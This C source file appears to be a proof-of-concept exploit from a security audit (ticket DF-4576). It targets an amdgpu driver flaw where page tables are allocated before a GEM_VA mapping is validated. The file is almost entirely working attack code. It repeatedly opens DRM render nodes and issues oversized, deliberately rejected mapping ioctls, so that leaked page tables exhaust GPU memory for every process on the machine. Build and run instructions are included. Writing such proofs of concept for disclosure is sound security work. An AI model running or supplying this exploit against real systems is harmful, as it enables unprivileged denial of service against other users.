DF-4576 / gem_va_pt_exhaust.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 | /* * DF-4576 โ amdgpu GEM_VA page-table exhaustion PoC (alloc-before-validate) * * Bug: amdgpu_gem_va_ioctl() (sys/dev/drm/amd/amdgpu/amdgpu_gem.c:637-646 MAP, * :657-666 REPLACE) calls amdgpu_vm_alloc_pts(adev, vm, va_address, map_size) * BEFORE amdgpu_vm_bo_map() validates offset_in_bo/map_size against the BO * size (amdgpu_vm.c:2493-2512). alloc_pts allocates page-table BOs for the * WHOLE attacker-chosen range (bounded only by max_pfn) and nothing frees * them when bo_map subsequently rejects the mapping โ they stay owned by the * VM until the fd is closed. * * Exploit: one 4 KiB GTT BO + ONE GEM_VA ioctl with a huge map_size and an * offset_in_bo that guarantees bo_map rejection pins ~(span / 2^18) bytes of * GTT/VRAM in page tables (128 TiB span -> ~512 MiB). Repeat with fresh * render-node fds until GTT is exhausted -> all GPU memory allocations fail * for every process on the machine (cross-process DoS) until the fds close. * * Expected behaviour on real AMD hardware: * - every GEM_VA ioctl returns -1/EINVAL (that is the point: the mapping is * REJECTED, but the page tables were already allocated); * - amdgpu GTT usage grows by ~(span/2^18) bytes per iteration * (watch /sys/kernel/debug/dri/<n>/amdgpu_mm_info or radeontop); * - after enough iterations dmesg shows amdgpu allocation failures and GPU * clients start failing (OOM in GTT). * * On a machine without an AMD GPU (e.g. this audit's QEMU guest): * open("/dev/dri/renderD128") -> ENOENT, exit code 2. * * Build: cc -O2 -o gem_va_pt_exhaust gem_va_pt_exhaust.c * Run: ./gem_va_pt_exhaust [iterations] [span_bytes_hex] * defaults: 64 iterations, 0x800000000000 (128 TiB) span * * Requires read/write access to the DRM render node (unprivileged on typical * desktop installs: /dev/dri/renderD128 0666 root:video or crw-rw-rw-). */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <sys/ioctl.h> /* ------------------------------------------------------------------ */ /* Minimal Linux-style ioctl encoding (do NOT use <sys/ioccom.h>: the * BSD _IOC layout is different from the Linux DRM ioctl encoding the * amdgpu kernel side expects). */ #define L_IOC_NRBITS 8 #define L_IOC_TYPEBITS 8 #define L_IOC_SIZEBITS 14 #define L_IOC_DIRBITS 2 #define L_IOC_NRSHIFT 0 #define L_IOC_TYPESHIFT 8 #define L_IOC_SIZESHIFT 16 #define L_IOC_DIRSHIFT 30 #define L_IOC_NONE 0U #define L_IOC_WRITE 1U #define L_IOC_READ 2U #define L_IOC(dir, type, nr, size) \ (((dir) << L_IOC_DIRSHIFT) | \ ((type) << L_IOC_TYPESHIFT) | \ ((nr) << L_IOC_NRSHIFT) | \ ((size) << L_IOC_SIZESHIFT)) #define L_IOWR(type, nr, size) L_IOC(L_IOC_READ|L_IOC_WRITE, (type), (nr), (size)) #define DRM_IOCTL_BASE 'd' #define DRM_COMMAND_BASE 0x40 /* ------------------------------------------------------------------ */ /* uapi structs (from sys/dev/drm/include/uapi/drm/amdgpu_drm.h) */ struct drm_amdgpu_gem_create_in { uint64_t bo_size; uint64_t alignment; uint32_t domains; uint32_t domain_flags; }; struct drm_amdgpu_gem_create_out { uint32_t handle; uint32_t _pad; }; union drm_amdgpu_gem_create { struct drm_amdgpu_gem_create_in in; struct drm_amdgpu_gem_create_out out; }; struct drm_amdgpu_gem_va { uint32_t handle; uint32_t _pad; uint32_t operation; uint32_t flags; uint64_t va_address; uint64_t offset_in_bo; uint64_t map_size; }; #define DRM_AMDGPU_GEM_CREATE 0x00 #define DRM_AMDGPU_GEM_VA 0x08 #define AMDGPU_GEM_DOMAIN_GTT 0x2 #define AMDGPU_GEM_CREATE_CPU_ACCESS_REQUIRED (1 << 0) #define AMDGPU_VA_OP_MAP 1 #define SIZEOF_GEM_CREATE sizeof(union drm_amdgpu_gem_create) #define SIZEOF_GEM_VA sizeof(struct drm_amdgpu_gem_va) #define IOCTL_GEM_CREATE L_IOWR(DRM_IOCTL_BASE, DRM_COMMAND_BASE + DRM_AMDGPU_GEM_CREATE, SIZEOF_GEM_CREATE) #define IOCTL_GEM_VA L_IOWR(DRM_IOCTL_BASE, DRM_COMMAND_BASE + DRM_AMDGPU_GEM_VA, SIZEOF_GEM_VA) /* map at 1 GiB VA, well above the 1 MiB reserved area, below the GMC hole */ #define VA_BASE 0x40000000ULL /* offset_in_bo: page-aligned but far beyond any BO size -> bo_map rejects */ #define BAD_OFFSET 0x1000000000000000ULL static const char *nodes[] = { "/dev/dri/renderD128", "/dev/dri/card0", NULL }; int main(int argc, char **argv) { int iters = argc > 1 ? atoi(argv[1]) : 64; uint64_t span = argc > 2 ? strtoull(argv[2], NULL, 0) : 0x800000000000ULL; int fds[4096]; int i, fd = -1, rc = 0; if (iters > 4096) iters = 4096; if (span & 0xfffULL) span &= ~0xfffULL; /* must be GPU-page aligned */ printf("DF-4576: amdgpu GEM_VA alloc_pts-before-validate page-table exhaustion\n"); printf("iterations=%d span=0x%llx (%.1f TiB) -> ~%.0f MiB of page tables held per failed ioctl\n\n", iters, (unsigned long long)span, span / 1099511627776.0, (double)(span >> 18) / 1048576.0); for (i = 0; i < iters; i++) { int n; fd = -1; for (n = 0; nodes[n] != NULL && fd < 0; n++) fd = open(nodes[n], O_RDWR | O_CLOEXEC); if (fd < 0) { fprintf(stderr, "iter %d: cannot open any DRM node (%s)\n" " -> no AMD GPU on this machine; PoC needs real amdgpu hardware.\n", i, strerror(errno)); rc = 2; break; } union drm_amdgpu_gem_create gc; memset(&gc, 0, sizeof(gc)); gc.in.bo_size = 4096; gc.in.alignment = 0; gc.in.domains = AMDGPU_GEM_DOMAIN_GTT; gc.in.domain_flags = AMDGPU_GEM_CREATE_CPU_ACCESS_REQUIRED; if (ioctl(fd, IOCTL_GEM_CREATE, &gc) < 0) { fprintf(stderr, "iter %d: GEM_CREATE failed: %s\n", i, strerror(errno)); close(fd); rc = 1; break; } struct drm_amdgpu_gem_va va; memset(&va, 0, sizeof(va)); va.handle = gc.out.handle; va.operation = AMDGPU_VA_OP_MAP; va.flags = 0; va.va_address = VA_BASE; va.offset_in_bo = BAD_OFFSET; /* guarantees bo_map() rejects */ va.map_size = span; if (ioctl(fd, IOCTL_GEM_VA, &va) == 0) printf("iter %3d: MAP unexpectedly SUCCEEDED (unexpected)\n", i); else printf("iter %3d: MAP rejected (%s) โ page tables for %.1f TiB of VA now pinned by fd %d\n", i, strerror(errno), span / 1099511627776.0, fd); fflush(stdout); fds[i] = fd; /* keep the fd (and its page tables) alive */ } if (rc == 0 && i > 0) { printf("\nHolding %d fds open. On real hardware check now:\n" " cat /sys/kernel/debug/dri/*/amdgpu_mm_info (GTT usage)\n" " dmesg | tail (amdgpu alloc failures)\n" "Sleeping 60s so you can look...\n", i); sleep(60); } while (--i >= 0) close(fds[i]); return rc; } |